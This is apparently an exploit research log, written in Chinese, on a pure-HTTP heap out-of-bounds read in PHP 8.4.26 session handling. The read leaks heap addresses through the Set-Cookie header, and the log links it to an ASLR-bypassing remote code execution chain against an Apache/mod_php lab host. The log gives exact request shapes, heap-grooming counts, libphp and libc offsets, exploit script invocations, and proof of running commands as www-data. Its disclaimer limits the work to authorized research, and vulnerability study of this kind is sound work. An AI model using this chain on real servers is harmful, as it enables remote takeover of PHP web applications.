日期:2026-10-21
目标:PHP 8.4.26 + Apache 2.4.68 prefork + mod_php(Debian 12 amd64,172.16.0.103)
约束:完全远程、只用 HTTP;不在目标 webroot 写任何特定 PHP 文件。目标页面只有
<?php echo "OK\n"; ?>(无 session 调用;本泄漏不依赖脚本内容)。
状态:堆地址(Zend MM 2MB chunk base)泄漏已打通;libphp/libc 代码指针泄漏
尚未完成,下一步见第 7 节。
用两个纯 HTTP 请求,从响应头 Set-Cookie 中拿到 4096 字节的堆越界读:
- 请求 A:先用 1001 个 POST 字段触发
max_input_vars警告(display_errors=On时 该警告被输出,SG(headers_sent)=1),再用一个值为单字节\x00的PHPSESSID让php_session_initialize()生成新 id 并置send_cookie=1;随后php_session_reset_id()因 headers 已发送而发送 cookie 失败,send_cookie残留为 1。A 末尾用 12MB 字段 OOM,留下悬空的PS(id)(random id 的zend_string)。 - 请求 B:不带文件字段,pre-RINIT 的 upload-progress END cleanup 调用
php_session_initialize(),php_session_reset_id()看到send_cookie=1、 本请求 headers 尚未发送,于是用悬空的PS(id)构造Set-Cookie: PHPSESSID=<url_encode(ZSTR_VAL(id), ZSTR_LEN(id))>。 - B 的 multipart 字段把 A 遗留的
PS(id)块重占成伪造zend_string头:len=0x1000,data指向块内 offset 0x18。php_url_encode按 len 读取, 越过块尾进入相邻堆,把内容编码进Set-Cookie。
实测(no-ASLR 校准):
Set-Cookie: PHPSESSID=LAAAA...%B2%D0%82f%60h%3F...%F5%FF%7F...
cookie 值 11548 字符(URL 编码),解码后 4096 字节
98 个 0x7f.... 指针,全部 & ~0x1fffff == 0x7ffff5e00000
即 Zend MM chunk base 可直接从 HTTP 响应头恢复,无需 /proc/self/maps、
无需目标侧 PHP、无需目标应用配合。
这与
NOASLR_REPORT.md的纯 HTTP RCE 链正交:泄漏请求 A 在track_init之前 就失败(reset_id失败),所以不会留下PS(http_session_vars)悬空引用; 它只负责留下悬空PS(id)和send_cookie=1。
ext/session/session.c:
static zend_result php_session_initialize(void)
{
...
if (!PS(id) || !ZSTR_VAL(PS(id))[0]) { /* 空 id -> 新建 id */
...
PS(id) = PS(mod)->s_create_sid(&PS(mod_data));
...
if (PS(use_cookies)) {
PS(send_cookie) = 1;
}
}
...
if (php_session_reset_id() == FAILURE) { /* 这里失败,track_init 不会执行 */
php_session_abort();
return FAILURE;
}
php_session_track_init();
...
}php_session_send_cookie():
if (SG(headers_sent)) {
php_error_docref(NULL, E_WARNING,
"Session cookie cannot be sent after headers have already been sent");
return FAILURE;
}
e_id = php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id)));关键点:
- headers_sent 必须为 1。用
max_input_vars超限警告实现:main/php_variables.c在变量数超过 1000 时php_error_docref(NULL, E_WARNING, "Input variables exceeded ..."); lab 的display_errors=On,警告写入响应并置SG(headers_sent)=1。 - id 首字节为 0。multipart 的
PHPSESSID值取单字节\x00:php_session_rfc1867_callback的 FORMDATA 分支要求value_len != 0, 所以progress->sid被设为长度 1、内容\0的字符串;FILE_START 中PS(id) = zend_string_init(progress->sid)后,!ZSTR_VAL(PS(id))[0]成立,进入“新建 id”分支,send_cookie=1。 reset_id因 headers_sent 失败 →send_cookie保持 1,且php_session_track_init()不会执行(所以没有$_SESSION引用)。- A 的最后用一个 12MB 普通字段触发
memory_limit=8MOOM;bailout 跳过请求 shutdown,ps_globals.id悬空(random id 的 32 字节zend_string)。
实测 A 之后(gdb,setarch -R):
ps_globals.send_cookie = 1
ps_globals.id = 0x7ffff5ea9000 (len=32, data0=0x35)
ps_globals.http_session_vars.type_info = 0 (UNDEF)
响应体同时出现两条关键警告,可作为远程侧的“前置条件已满足”信号:
Warning: PHP Request Startup: Input variables exceeded 1000...
Warning: PHP Request Startup: Session cookie cannot be sent after headers have already been sentB 不带文件字段,因此不会触发 FILE_START 的 php_rinit_session(0)(那会清空
PS 全局)。multipart END 事件 → php_session_rfc1867_cleanup() →
php_session_initialize() → php_session_reset_id():
PS(use_cookies)=1(默认);PS(send_cookie)=1(A 残留);- B 本请求 headers 未发送 → 真正发送 cookie;
php_url_encode以ZSTR_LEN(PS(id))为长度、ZSTR_VAL(PS(id))为起点读取。 悬空块被 B 的字段重占后,len/data 完全受攻击者控制。
A 的 random id 长度 32,zend_string_alloc(32) = 24+32+1 = 57 → 64 字节 bin;
本 lab 形状下块地址为 chunk + 0xa9000(no-ASLR:0x7ffff5ea9000)。
B 的 multipart 解析在请求启动时把 chunk 重新分页。校准发现该 stale 地址在 B 的 布局里落在 80 字节 bin 页:
-
先发 N 个值长度为 48 的字段(
zend_string= 24+48+1 = 73 → 80B bin)。 每个字段留下一个存活的 80B 字符串,按 free-list 顺序占用块。 -
用每字段唯一的 48 字符值(
v%04d+x)可以读出“哪一块落在 stale 地址”: 本 lab 下N=998时,Set-Cookie的值为v0892...,即第 893 个字段的 字符串落在该块。 -
改为发 892 个前置字段,再发 1 个 79 字节值的 forge 字段:
- raw buffer 大小 79+1 = 80 → 80B bin;
- 它的 value
zend_string是 24+79+1 = 104 → 112B bin(不占 80B 块); - raw buffer 取的正是“第 893 个 80B 块” = stale
PS(id)块。 raw buffer 内容布局(块起点为 S,PS(id)=S):
S+0x00: gc(被 efree 的 free-list next 覆盖,无影响) S+0x08: h(任意) S+0x10: len = 0x1000(伪造) S+0x18: data[0] = 'L',其后为填充 -
字段处理完 raw buffer 被
efree();Zend MM 只把 free-list 指针写到块 offset 0,+0x10的 len 保留。B 的 END cleanup 随后读ZSTR_LEN(PS(id)) = 0x1000,从S+0x18开始做 URL 编码。
Set-Cookie 发出后,ps_files_open() 的
php_session_valid_key() 会因 id 含非法字节而失败,产生
Session ID is too long or contains illegal characters 警告——此时泄漏已经
写入响应头,警告不影响结果。
环境(与 NOASLR_REPORT.md 相同,额外注意两点):
display_errors=On(headers_sent 依赖警告实际输出);session.use_cookies=1(默认;本 lab 曾为 0,需改回);memory_limit=8M、session.use_strict_mode=0、session.save_path=/tmp、max_input_vars=1000(默认)。
# 目标机 172.16.0.103,ASLR 开/关均可;以下为校准的 no-ASLR 命令
cd ~/php2shell-work
# A:1001 个字段触发 max_input_vars 警告;PHPSESSID 为单字节 \x00;
# 文件字段触发 FILE_START;12MB 字段 OOM
python3 send_a_leak2.py 1001 12
# B:892 个 48 字符数值字段消费 80B 块;最后一个 79 字节值字段的 raw buffer
# 落在悬空 PS(id) 块,伪造 len=0x1000
python3 b_numleak2.py 892 1 0x1000B 的响应头示例(截断):
Set-Cookie: PHPSESSID=LAAAA...%B2%D0%82f%60h%3F%C3%A0%90%EA%F5%FF%7F...
...
Warning: PHP Request Startup: Session ID is too long or contains illegal characters.
解码与指针提取:
python3 tools/decode_leak.py logs/http_heap_leak_20261021.resp
# decoded=4096, candidate_ptrs=98, chunk_bases=7ffff5e00000:98原始响应归档:logs/http_heap_leak_20261021.resp;分析输出:
logs/http_heap_leak_20261021.txt。
补充(同一 stale 地址的重用证据):
N=998且值为唯一 48 字符时,cookie 值就是v0892...(len=48)——说明该块被 存活的 80B 字符串重占;- 数值键 + 短值(
b_numleak.py)时 cookie 仍是正常 32 字符 id——说明该块未被 使用;只有 80B 活字符串/raw 的分配序列能命中它。
本泄漏提供 Zend MM chunk base。同一轮实验中已用外部地址验证:
- 校准后的纯 HTTP A/B RCE 链在
personality=0(ASLR 开)下 3/3 成功; - 只依赖 chunk 内相对偏移:
R0 = chunk + 0x24e0、fake HT data =chunk + 0x6e0d8(具体 A/B 形状见下); - libc base 通过
/proc/<worker>/maps外部获取时,system = libc + 0x4c490, 链完整执行id>/tmp/p1。
也就是说:A/B 内存链本身与 ASLR 无关,只差“地址来源”。本节的 Set-Cookie
泄漏已经补上 heap 基址;还差 libphp 代码指针(用于 zif_system,
libphp + 0x43a870,不需要 libc)或 libc 指针。
在 172.16.0.103(不是原报告的 172.16.1.112)上,原报告的固定参数不直接适用:
A: send_a_pad.py 17 19 3 12 7:7 7:7 7:7 7:7 7:7 7:7
B: send_b_rce2.py 16 2 0x7ffff5e6e0d8 0x7ffff7d14490 "id>/tmp/p1"
- 6 个
7:7pad 把 A 的 reference 地址移到0x7ffff5e024e0,R0-0x10=0x7ffff5e024d0正好是 56B block 起点; - B 需要
N1=16(31 字符 priming 字段)才能让 55B raw buffer 落在R0-0x10; - 本机 libc
system = 0x7ffff7d14490(偏移0x4c490),fake HT data =0x7ffff5e6e0d8; - proof:
/tmp/p1内容uid=33(www-data) ...。
display_errors=On是前置条件。headers_sent 来自警告输出;若目标关闭 display_errors,本路径的send_cookie=1残留不成立(当前 lab 为 On)。- 需要
>1000个 POST 变量(默认max_input_vars=1000)才能触发警告; 请求体约 1MB 级。 - 需要
session.use_cookies=1(默认)与session.use_strict_mode=0(默认 0)。 - chunk 内偏移(
0xa9000)、N=998、K=892绑定本构建 + 本请求形状; 换 PHP 构建 / 字段长度 / 边界长度需要重测。它们都是 chunk 相对偏移, 与 ASLR 无关。 - 泄漏只向高地址读(
PS(id)+0x18起)。当前 4KB 区域是 80B 字符串页, 只含堆指针;1MB 的大范围泄漏(已验证可发)仍只看到堆指针,没有 libphp/libc 代码指针。 - 若 len 读到非受控值(例如 HashTable 的
arData/ 64 位 hash),php_url_encode的safe_emalloc会直接 fatal:Possible integer overflow in memory allocation (3 * N + 32)。 这本身是一个“len 不可控”的信号,但拿不到数据。 - 本泄漏 A 不产生
PS(http_session_vars)悬空引用(reset_id在track_init之前失败),因此它不能和 RCE 的 A 合并成一个请求; 两者是同一 worker 上可先后使用的独立原语。
2026-10-21 后续进展(已完成):本节的目标已实现,并进一步打穿了纯 HTTP ASLR-on RCE(两次 Set-Cookie 泄漏 +
zif_system),lab 内 5/5。做法: A 用 1001 个 39 字节值字段把 stalePS(id)放到chunk+0xb7400;B 用 983 个 嵌套数组,把$_POST['a0443']的 HashTable 扩到 16 个元素。PS(id)+0x10读到nTableSize=16,数据区覆盖nNextFreeElement和pDestructor(ZVAL_PTR_DTOR = libphp+0x613c50)。完整链路、payload 和驱动见 ASLR_PURE_HTTP.md。以下保留原始分析。
目标:拿到一个 libphp 代码地址(例如 HashTable 的
pDestructor = ZVAL_PTR_DTOR),配合已知 chunk base 使用 g18 的
Zend-only payload(zif_system,libphp + 0x43a870),完成完全纯 HTTP、
无外部地址的 ASLR-on RCE。
已确认的实验事实:
- 用 998 个
aNNNN[0]嵌套数组字段时,B 的 chunk 里出现大量 56B HashTable 页;gdb 扫描(no-ASLR)显示这些页含 73 个 libphp 指针/页, 偏移包括0x2000, 0x76000, 0x7b000, …, 0xa9000, 0xad000, 0xb2000, …。 - 当前 stale
PS(id)在chunk+0xa9000;该偏移在嵌套数组 B 下正好是 一个 56B HashTable 页。问题变成:让PS(id)+0x10的 qword 是一个 moderate 的 len,而不是arData/hash 指针。 - 可行方向(按优先级):
- 调整 A 使
PS(id)落在HT + 0x18(则len = nNextFreeElement,data 从HT+0x30 = pDestructor开始): 需要PS(id) ≡ page + 0x18 (mod 56);由PS(id)=page+64m(A 的 64B bin)得m ≡ 3 (mod 7),即page+0xc0、page+0x280等。 扫描 A 的字段长度/边界长度/文件字段形状,找可达到的偏移。 - 或让
PS(id)+0x10落在HT+0x20(len = nTableSize|nInternalPointer): 需要PS(id) ≡ page + 0x10 (mod 56),对应m ≡ 2 (mod 7)(page+0x80等),并让该 HashTable 的nTableSize足够大 (例如每数组 128 个元素 → len=128,足以覆盖pDestructor)。 - 把 PS.id 移到 libphp 指针页的低偏移(如
0x2000)——需要更小的 A 预堆或不同的 warning 触发方式;目前 1001 字段使 id 最低约0x61040。
- 调整 A 使
- 拿到 libphp base 后,RCE 的 B 使用
zif_system+ fakezend_function/execute_data(tools/d_aslr.php的 Zend-only payload 布局), 只需 chunk base + libphp base,不需要 libc。
仅用于授权环境中的漏洞研究与复现。请求形状、块偏移与 bin 序列绑定本 lab 的 PHP 8.4.26 构建与 Apache/mod_php 配置;换构建或配置需重新校准。
